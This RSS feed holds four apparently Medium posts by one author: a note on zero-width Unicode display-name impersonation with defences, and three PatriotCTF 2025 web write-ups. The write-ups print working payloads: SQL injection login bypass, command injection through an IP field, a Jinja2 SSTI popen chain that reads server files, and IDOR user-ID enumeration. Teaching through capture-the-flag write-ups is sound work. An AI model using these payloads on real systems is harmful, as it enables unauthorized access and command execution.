<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xScorpioN on Medium]]></title>
        <description><![CDATA[Stories by 0xScorpioN on Medium]]></description>
        <link>https://medium.com/@mohamedsamy788994?source=rss-4ee8cc889a3d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*klFg_pcvTH4q8YGztn_jnA.png</url>
            <title>Stories by 0xScorpioN on Medium</title>
            <link>https://medium.com/@mohamedsamy788994?source=rss-4ee8cc889a3d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 15:23:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mohamedsamy788994/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Bug Bounty Story: How Zero-Width Unicode Can Make Two Accounts Look Identical]]></title>
            <link>https://medium.com/@mohamedsamy788994/a-bug-bounty-story-how-zero-width-unicode-can-make-two-accounts-look-identical-b6d6ce76b8fb?source=rss-4ee8cc889a3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6d6ce76b8fb</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty-cybersecurity]]></category>
            <category><![CDATA[unicode]]></category>
            <dc:creator><![CDATA[0xScorpioN]]></dc:creator>
            <pubDate>Mon, 30 Nov 2026 00:00:12 GMT</pubDate>
            <atom:updated>2026-11-30T00:00:12.361Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everybody, This Is 0xScorpioN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFdKcxamYtisPmGt-928Iw.png" /></figure><p>Not every security issue is a dramatic exploit. Some are quiet design gaps that only show up when you look at text the way a computer does, not the way a human does.</p><p>The idea</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iY2Oj0iVH3_WH_L8HS6Rgw.png" /></figure><p>Unicode contains characters that take up no visible space. The zero-width space (U+200B, bytes E2 80 8B in UTF-8) is one of them. Put it inside a word and the word looks identical on screen, but it is a different string underneath.</p><p>Why it matters</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyhP-ztRxkPrl5cmcqrYTQ.png" /></figure><p>If a platform lets users pick display names and does not normalize or reject these characters, two accounts can look exactly the same to a human while being different accounts. For example, “labtest” and “lab[U+200B]test” render the same.</p><p>That can lead to:<br>- Confusion in search results, where the wrong account appears for a name that looks identical.<br>- Impersonation, where someone copies a trusted name and people cannot tell the difference.</p><p>What I tested</p><p>While testing a bug bounty program I was authorized to test, and using only accounts I controlled, I compared two display names that differed only by an invisible character and observed how the site’s search handled them.</p><p>How to defend against it</p><p>- Normalize names (for example NFKC) before storing and comparing them.<br>- Reject or strip zero-width and other invisible characters in display names.<br>- Check for look-alike (homoglyph) names when accounts are created.<br>- Show a stable identifier next to names in sensitive places.</p><p>‏#CyberSecurity #BugBounty #HackerOne #WebSecurity #Unicode #InfoSec #EthicalHacking #AppSec #CTF #Pentesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6d6ce76b8fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — Connection Tester Web Challenge Write-Up]]></title>
            <link>https://medium.com/@mohamedsamy788994/patriotctf-2025-connection-tester-web-challenge-write-up-618b272e26bd?source=rss-4ee8cc889a3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/618b272e26bd</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0xScorpioN]]></dc:creator>
            <pubDate>Tue, 25 Nov 2025 12:34:49 GMT</pubDate>
            <atom:updated>2026-11-30T00:02:31.465Z</atom:updated>
            <content:encoded><![CDATA[<h3>PatriotCTF 2025 — Connection Tester Web Challenge Write-Up</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*EXRU4Ma5j4dPCqRY3iplEA.png" /></figure><p>Hi everybody, This Is 0xScorpioN</p><h4>1. Login Page</h4><p>Now I will try to login:</p><p>username: admin and password: 123</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BQiNthytVvv5lWehnxCEhw.png" /></figure><p>Invalid credentials:</p><p>That failed. Now I will try SQL injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*Q7P3Xjgu_hZDf_KoT8KEXg.png" /></figure><p>admin ‘or 1=1 — ‘</p><p>This confirms that the query is injectable.</p><h4>2.Login Successful</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*p4c9ctIgslqd4Lpi23IBiQ.png" /></figure><p>now page in Admin Dashboard</p><h4>3.Connectivity</h4><p>The tool accepts an IP address and performs a connectivity check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kOOVQfRJHL4DXIWl1vt4Qg.png" /></figure><p>Now the scan will be done by IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ALkm6o06QaOT03NsdT5Xxg.png" /></figure><p>I got it:</p><pre>connecting to 127.0.0.1...</pre><p>He says the order was carried out.</p><h4>4. Command Injection and Finding the Flag</h4><p>Now I will the injection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pCv2bkd7PmmANCTrlhbYqw.png" /></figure><pre>127.0.0.1;find / -type f -name &quot;flag*&quot; 2&gt;/dev/null</pre><p>Flag in :</p><p>/app/flag.txt</p><h4>5. Now Filter Bypass</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FoL5xZ2J7lM2PDsdrxOugg.png" /></figure><pre>127.0.0.1; grep ./app/flag.txt 127.0.0.1; cat /app/flag.txt</pre><p>Oh, I finally got the flag!</p><p><strong>-They were carried out to obtain the flag</strong></p><p>SQL Injection , Command Injection, Filter Bypass</p><p><strong>See you in the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=618b272e26bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — Trust VaultWeb Challenge Write-Up]]></title>
            <link>https://medium.com/@mohamedsamy788994/patriotctf-2025-trust-vaultweb-challenge-write-up-cd30e4f15c95?source=rss-4ee8cc889a3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd30e4f15c95</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[0xScorpioN]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 19:41:21 GMT</pubDate>
            <atom:updated>2025-11-24T19:41:21.934Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>PatriotCTF 2025 — Trust VaultWeb Challenge Write-Up</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*EXRU4Ma5j4dPCqRY3iplEA.png" /></figure><p>Hi Every Body, This Is 0xScorpioN</p><p>The goal was to leak a server-side flag by chaining two vulnerabilities:<br><strong>SQL Injection</strong> and <strong>Jinja2 SSTI</strong>.</p><h3><strong>1.registration &amp; Login</strong></h3><p>After attempting to register as admin/admin, I cannot log in, but I will try again using SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*NO9V5Na9zu6V2pSEXyOzpA.jpeg" /></figure><p>I used this injection, <strong>administrator ‘or 1=1 — </strong>‘, to register, entered any password, and successfully registered.</p><p>After registering, I found several pages: bookmarks, audit, and reports.</p><h3>2. Testing the Bookmarks Feature</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*auHj38aPEhsrIgyrZEB6LQ.jpeg" /></figure><p>I went to view the page source and found something important.</p><pre>&lt;!-- Legacy console: &lt;a href=&quot;/search&quot;&gt;/search&lt;/a&gt; --&gt;</pre><p>We found the path to the search page, so we will go to it.</p><p>/search</p><h4>3. Visiting /search and test</h4><p>We found a place in the /search where we could put something</p><p>so I tested:</p><pre>{{7*7}}</pre><p>Unfortunately, it doesn’t work.</p><p>But adding SQL injection with SSTI worked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*9LyfN49OdYWLqGDPQYhlPQ.jpeg" /></figure><p>It is him:</p><pre>&#39; UNION SELECT &#39;{{7*7}}&#39; --</pre><p>The output is rendered through Jinja.</p><h4>4. Executing Commands</h4><p>Using a Jinja SSTI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nNPldQGAIOamoxb8mVGcRA.jpeg" /></figure><pre>&#39; UNION SELECT &#39;{{ cycler.__init__.__globals__.os.popen(&quot;ls -la /&quot;).read() }}&#39; --</pre><p>Oh, we found root directory, revealing the flag file:</p><p>flag-a46f04ec0769b3cb2d5b170aee2540cc.txt</p><h4>5. Reading the Flag</h4><p>Now that we know the filename, we can read it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wYprt8VQqSesw-5A9UpKQQ.jpeg" /></figure><pre>&#39; UNION SELECT &#39;{{ cycler.__init__.__globals__.__builtins__.__import__(&quot;os&quot;).popen(&quot;cat /flag-a46f04ec0769b3cb2d5b170aee2540cc.txt&quot;).read() }}&#39; --</pre><p>Finally, we found the flag.</p><p><strong>Conclusion:</strong></p><p>In the end, the challenge came down to chaining two critical vulnerabilities —<strong> SQL Injection</strong> and <strong>Jinja2 SSTI</strong> — to gain command execution on the server and ultimately leak the flag. By injecting a crafted payload into the search functionality, we were able to pivot from <strong>SQL </strong>output to <strong>Jinja </strong>template rendering, giving us direct access to the underlying <strong>filesystem</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd30e4f15c95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PatriotCTF 2025 — Trust Fall Web Challenge Write-Up]]></title>
            <link>https://medium.com/@mohamedsamy788994/patriotctf-2025-trust-fall-web-challenge-write-up-076acab1f8b1?source=rss-4ee8cc889a3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/076acab1f8b1</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0xScorpioN]]></dc:creator>
            <pubDate>Mon, 24 Nov 2025 00:38:11 GMT</pubDate>
            <atom:updated>2025-11-24T19:42:49.562Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>PatriotCTF 2025 — Trust Fall Web Challenge Write-Up</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*bguJpV3q7qvRIX0ENnCu2Q.png" /></figure><p>Hi Every Body, This Is 0xScorpioN</p><p><strong>Overview</strong></p><p>Trust fall is a web challenge that appears simple on the surface but hides a critical authorization flaw.<br>The website provides a read-only product catalog and a protected <strong>/admin</strong> console.</p><p>Find the flag by exploiting an <strong>Authorization Misconfiguration</strong> that leads to an <strong>IDOR .</strong></p><p><strong>1.Logging In</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*fk-KC9BUWLTgTU2xXN0shQ.png" /><figcaption><strong>The challenge provides valid user credentials</strong></figcaption></figure><p>After logging in, the application displays a product.</p><p>Unauthorized: admin console restricted to leadership.</p><p><strong>Now Submitting a login request:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F_Y9toJKUXeenqByO9pi8g.png" /><figcaption><strong>The server returns a session cookie</strong></figcaption></figure><p><strong>Now Trying to access /flag after login:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*31yYXZaMpaD_nyfH4zC9vQ.png" /></figure><p>So /flag is not where the flag is located.</p><p><strong>2.Checking the /admin Console</strong></p><p>Trying to access /admin with the token used by the front-end:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*cmuAXfNfArkQvDmesBDCaQ.png" /></figure><p>Authorization: Bearer trustfall-readonly</p><p><strong>server response.</strong></p><p>403 Unauthorized: admin console restricted to leadership</p><p>This confirms the token is strictly read-only.</p><p><strong>3.Discovering Hidden API Endpoints</strong></p><p>Inspecting the front-end JavaScript app.js shows API calls like:</p><p>/api/products<br>/api/products/&lt;sku&gt;</p><p>The product responses include fields such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*xKdC_uqssVgzAYEfCmlT4g.png" /></figure><p>Updated by :User 2</p><p>This strongly suggests user objects exist — likely under:</p><p>/api/users/&lt;id&gt;</p><p><strong>4-Enumerating User IDs IDOR Discovery</strong></p><p>Testing user objects directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ir6_BPf-9bhA2LNfAQ4fJw.png" /></figure><p>Despite being <em>read-only</em>, the token <strong>allows reading user objects directly</strong>, which is a red flag.</p><p><strong>5.Trying Common Privileged IDs</strong></p><p>So I tested</p><p>api/users/0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9dduxucp3Sm7GFLoeeV76w.png" /></figure><p><strong>The flag was exposed directly in the root user object.</strong></p><p><strong>Root Cause:</strong></p><p>The server blocks access to /api/users, but allows direct access to /api/users/&lt;id&gt; without permission verification.</p><p>The read-only token was sufficient to retrieve sensitive data.</p><p><strong>Conclusion</strong></p><p>By examining the <strong>API </strong>closely and enumerating user <strong>IDs</strong>, it was possible to access the superuser <strong>(root)</strong> account and retrieve the flag — even with a read-only token.</p><p><strong>See you in the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=076acab1f8b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>